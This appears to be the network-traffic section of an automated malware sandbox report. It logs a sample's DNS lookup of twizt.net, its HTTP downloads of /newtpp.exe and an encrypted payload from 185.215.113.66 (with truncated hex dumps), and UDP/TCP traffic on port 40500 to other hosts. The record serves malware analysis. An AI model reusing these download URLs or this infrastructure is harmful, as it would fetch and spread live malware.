Nov 28, 2024 18:18:48.794778109 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794856071 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.922482014 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.922509909 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.922605038 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.934115887 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.934139967 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.934355974 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.934355974 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.008101940 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.008119106 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.008191109 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.008191109 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.012269020 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.012383938 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.012392044 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.012523890 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.020704985 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.020785093 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.020816088 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.020929098 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.029068947 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.029144049 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.029181004 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.029469013 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.037477016 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.037548065 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.037590981 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.037723064 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.045871019 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.045953989 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.046010971 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.046073914 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.054285049 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.054404020 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.054414988 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.054452896 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.062719107 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.062792063 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.062793016 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.062992096 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.070971966 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.071057081 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.071147919 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.071147919 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.079114914 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.079240084 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.079327106 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.087373018 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.087594986 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.087604046 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.088234901 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.095649958 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.095751047 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.096005917 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.096103907 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.215747118 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.215821028 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.215856075 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.215897083 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.218252897 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.218310118 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.219188929 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.219250917 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.219283104 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.219325066 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.224451065 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.224539995 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.224560022 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.224785089 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.229489088 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.229542971 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.229571104 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.229691029 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.234407902 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.234466076 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.234468937 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.234555006 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.239273071 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.239404917 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.239434958 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.239456892 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.244282007 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.244338989 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.244349003 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.244385004 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.249164104 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.249217033 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.249232054 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.249449015 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.254055977 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.254122972 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.254167080 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.254220009 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.259033918 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.259047031 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.259107113 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.263964891 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.264018059 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.264044046 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.264086008 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.268857956 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.268917084 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.268922091 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.268964052 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.273796082 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.273825884 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.273876905 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.278737068 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.278804064 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.278806925 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.278850079 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.283755064 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.283809900 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.283884048 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.284092903 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.288631916 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:49.288789988 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:49.572470903 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:49.572807074 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:49.692874908 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:49.692898989 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:49.693000078 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:49.693013906 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:49.693259001 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:49.813415051 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034643888 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034708977 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.034725904 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034739017 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034775019 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034776926 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.034795046 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034800053 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.034807920 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034821033 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034826040 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.034832954 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.034852028 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.034869909 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.034974098 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.034989119 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.035000086 CET	80	49712	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:51.035016060 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.035037994 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.035054922 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.036237001 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:51.036271095 CET	49712	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:52.041155100 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:52.161154032 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:52.161250114 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:52.161539078 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:52.281478882 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:52.306791067 CET	49714	40500	192.168.2.10	217.30.162.161
Nov 28, 2024 18:18:52.426814079 CET	40500	49714	217.30.162.161	192.168.2.10
Nov 28, 2024 18:18:52.427095890 CET	49714	40500	192.168.2.10	217.30.162.161
Nov 28, 2024 18:18:52.428695917 CET	49714	40500	192.168.2.10	217.30.162.161
Nov 28, 2024 18:18:52.548590899 CET	40500	49714	217.30.162.161	192.168.2.10
Nov 28, 2024 18:18:52.548738956 CET	49714	40500	192.168.2.10	217.30.162.161
Nov 28, 2024 18:18:52.670025110 CET	40500	49714	217.30.162.161	192.168.2.10
Nov 28, 2024 18:18:53.558790922 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.558813095 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.558979988 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.560559034 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.560581923 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.560594082 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.560625076 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.560655117 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.562635899 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.562689066 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.562700033 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.562715054 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.562761068 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.565061092 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.565097094 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.565131903 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.565164089 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.681180000 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.681206942 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.681294918 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.761763096 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.761801004 CET	80	49713	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:53.761837959 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:53.761861086 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:55.328363895 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:55.328452110 CET	49713	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:55.328483105 CET	49714	40500	192.168.2.10	217.30.162.161

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 18:18:28.772816896 CET	55531	53	192.168.2.10	1.1.1.1
Nov 28, 2024 18:18:29.087652922 CET	53	55531	1.1.1.1	192.168.2.10
Nov 28, 2024 18:18:43.482512951 CET	55293	40500	192.168.2.10	90.156.160.6
Nov 28, 2024 18:18:48.533042908 CET	55293	40500	192.168.2.10	80.191.218.209

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 18:18:28.772816896 CET	192.168.2.10	1.1.1.1	0xf7c6	Standard query (0)	twizt.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 18:18:29.087652922 CET	1.1.1.1	192.168.2.10	0xf7c6	No error (0)	twizt.net		185.215.113.66	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

twizt.net

185.215.113.66

91.202.233.141

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49702	185.215.113.66	80	8140	C:\Users\user\Desktop\LM94OE0VNK.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 18:18:29.216578007 CET	174	OUT	GET /newtpp.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Host: twizt.net
Nov 28, 2024 18:18:30.566354036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 17:18:30 GMT Content-Type: application/octet-stream Content-Length: 80896 Last-Modified: Tue, 12 Nov 2024 22:30:51 GMT Connection: keep-alive ETag: "6733d71b-13c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 cd d6 33 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e4 00 00 00 64 00 00 00 00 00 00 90 75 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$mpj)9)9)9 9.9Q8+9C9+9A9(99+9s9-9)99e9<9 9-9 959 9(9Rich)9PEL3gdu@p$.text `.rdata34@@.data(/@ @
Nov 28, 2024 18:18:30.566548109 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b 6c 24 08 8b 45 20 56 33 f6 57 8b 7c 24 20 85 c0 74 1c 8b 4f 04 39 08 75 0a 66 Data Ascii: Ul$E V3W\|$ tO9ufPf;Wt@uu"j UGfO
Nov 28, 2024 18:18:30.568135977 CET	1236	IN	Data Raw: 66 89 4e 04 8b 55 20 89 56 1c 83 c4 04 89 75 20 e8 45 c4 00 00 8b 4c 24 14 8b 7c 24 18 89 46 08 8b 44 24 1c 50 51 e8 0f 05 00 00 83 c4 08 84 c0 74 75 53 8d a4 24 00 00 00 00 8b 4e 0c 83 f9 04 72 64 8b 46 18 8b 10 83 c2 04 3b d1 77 58 83 7d 0c 00 Data Ascii: fNU Vu EL$\|$FD$PQtuS$NrdF;wX}xttSWTAuD$$MPSWUNxF;uF+tP9RQA)~[_^]USV3W}\$OD$Phf@QD$$A
Nov 28, 2024 18:18:30.568157911 CET	1236	IN	Data Raw: 24 1a c6 44 24 30 01 8b 46 08 68 ff ff 00 00 50 ff 15 18 02 41 00 8b 56 08 6a 10 8d 4c 24 10 51 52 ff 15 1c 02 41 00 83 f8 ff 75 12 56 e8 e4 fd ff ff 83 c4 04 5e 5b 33 c0 5f 83 c4 10 c3 6a 00 6a 00 56 68 00 11 40 00 6a 00 6a 00 89 5e 0c ff 15 a0 Data Ascii: $D$0FhPAVjL$QRAuV^[3_jjVh@jj^AF^[_FS2Ul$;FvNPQFAFFT$FWRPy~;uF;vu]F[Ft;r+F][+n][W\|$/
Nov 28, 2024 18:18:30.568171978 CET	248	IN	Data Raw: 00 00 8b 3d 34 01 41 00 ff d7 8b 74 24 0c 2b c6 3d e8 03 00 00 72 3e 8d 73 20 56 ff 15 f4 00 41 00 8b 7b 38 85 ff 74 24 83 bf 60 02 00 00 ff 74 16 8b bf 80 02 00 00 85 ff 75 ed 56 ff 15 f8 00 41 00 e9 80 00 00 00 e8 e6 fd ff ff 56 ff 15 f8 00 41 Data Ascii: =4At$+=r>s VA{8t$`tuVAVAr+='rgC PAs8tBjVRXA.+r`tP`uC PA4AD$CjP`A_^[]S
Nov 28, 2024 18:18:30.569247961 CET	1236	IN	Data Raw: 00 55 8b 6c 24 0c 8b 8d 60 02 00 00 57 6a 00 56 6a 00 8d 44 24 1c 50 6a 01 8d 7e 1c 57 51 c7 44 24 2c 00 00 00 00 ff d3 85 c0 74 3e ff 15 58 02 41 00 3d e5 03 00 00 74 31 3d 33 27 00 00 75 30 6a 01 ff 15 38 01 41 00 8b 85 60 02 00 00 6a 00 56 6a Data Ascii: Ul$`WjVjD$Pj~WQD$,t>XA=t1=3'u0j8A`jVjT$RjWPD$,u_][_]2[SW\|$2?ilci8uUl$Vj<L$D$ UQF0Fnn$WF F,uV
Nov 28, 2024 18:18:30.569271088 CET	1236	IN	Data Raw: 15 58 02 41 00 8b f0 8b 5c 24 18 8b 44 24 14 8b 4c 24 10 56 e8 8d fd ff ff 83 c4 04 6a ff 8d 4c 24 18 51 8b 4f 08 8d 54 24 18 52 8d 44 24 24 33 f6 50 51 89 74 24 2c 89 74 24 24 89 74 24 28 ff d5 8b 4c 24 10 85 c0 0f 95 c0 3b ce 75 8b 5b 5f 5e 5d Data Ascii: XA\$D$L$VjL$QOT$RD$$3PQt$,t$$t$(L$;u[_^]8VjLe}rD$PPCOI(AL$,F PVAjjjjAF)jjjjAFFjjjjjj
Nov 28, 2024 18:18:30.569281101 CET	248	IN	Data Raw: fc 8b 51 08 52 8b 45 fc 8b 08 51 e8 d2 12 00 00 83 c4 08 8b 55 fc 8b 02 50 e8 04 7d 00 00 83 c4 04 8b 4d fc c7 41 08 00 00 00 00 8b 55 fc c7 42 04 00 00 00 00 8b 45 08 8b 08 51 e8 e2 7c 00 00 83 c4 04 8b 55 08 c7 02 00 00 00 00 8b e5 5d c3 cc cc Data Ascii: QREQUP}MAUBEQ\|U]UEEMQURAEPMQUREQ'EUREQBUBE]UEM;Hs=UUEEMU;QsEUE
Nov 28, 2024 18:18:30.570137978 CET	1236	IN	Data Raw: 04 33 c0 e9 c7 00 00 00 8b 55 08 8b 42 08 3b 45 0c 0f 83 89 00 00 00 8b 4d 08 8b 51 08 89 55 f4 8b 45 0c c1 e0 02 50 e8 ee 79 00 00 83 c4 04 89 45 f0 8b 4d 08 8b 11 89 55 f8 83 7d f0 00 75 1c 8b 45 f4 50 8b 4d f8 51 e8 9d 11 00 00 83 c4 08 8b 55 Data Ascii: 3UB;EMQUEPyEMU}uEPMQUR{EPMQUR:EPMQjUR{EMUEBMQUEEM;MsUM3]UEHQUP8
Nov 28, 2024 18:18:30.570241928 CET	1236	IN	Data Raw: 89 55 f0 8b 45 e0 03 45 14 89 45 e0 c7 45 e4 00 00 00 00 8b 4d f0 89 4d ec 8b 55 e0 89 55 d4 8b 45 d4 33 d2 f7 75 f4 89 45 f0 8b 45 f0 0f af 45 f4 8b 4d d4 2b c8 89 4d e8 8b 55 e8 c1 e2 10 0b 55 d0 89 55 d4 81 7d f0 00 00 01 00 74 0c 8b 45 f0 0f Data Ascii: UEEEEMMUUE3uEEEM+MUUU}tEE;Ev<MMUUUEEE}sMM;MvUUE%EMMMUREPMQUR;E%tMMUUUE
Nov 28, 2024 18:18:30.687505960 CET	1236	IN	Data Raw: 4d 18 8b 11 52 8b 45 10 50 8b 4d 08 51 e8 10 0b 00 00 83 c4 10 8b 55 0c 89 02 33 c0 e9 1a 03 00 00 83 7d cc 00 7d 1b 8b 45 14 50 8b 4d 10 51 8b 55 0c 52 e8 ca 07 00 00 83 c4 0c 33 c0 e9 f9 02 00 00 83 7d cc 00 75 59 8b 45 fc 50 8b 4d 18 51 8b 55 Data Ascii: MREPMQU3}}EPMQUR3}uYEPMQURE}}EPMQUR3}uEPjMQ3EEUU} sEMT#UtEEMQUREPMQ
Nov 28, 2024 18:18:33.160669088 CET	176	OUT	GET /peinstall.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: twizt.net
Nov 28, 2024 18:18:33.723968029 CET	184	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 17:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49703	185.215.113.66	80	7656	C:\Windows\sysnldcvmr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 18:18:40.271831989 CET	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Nov 28, 2024 18:18:41.727097034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 17:18:41 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ 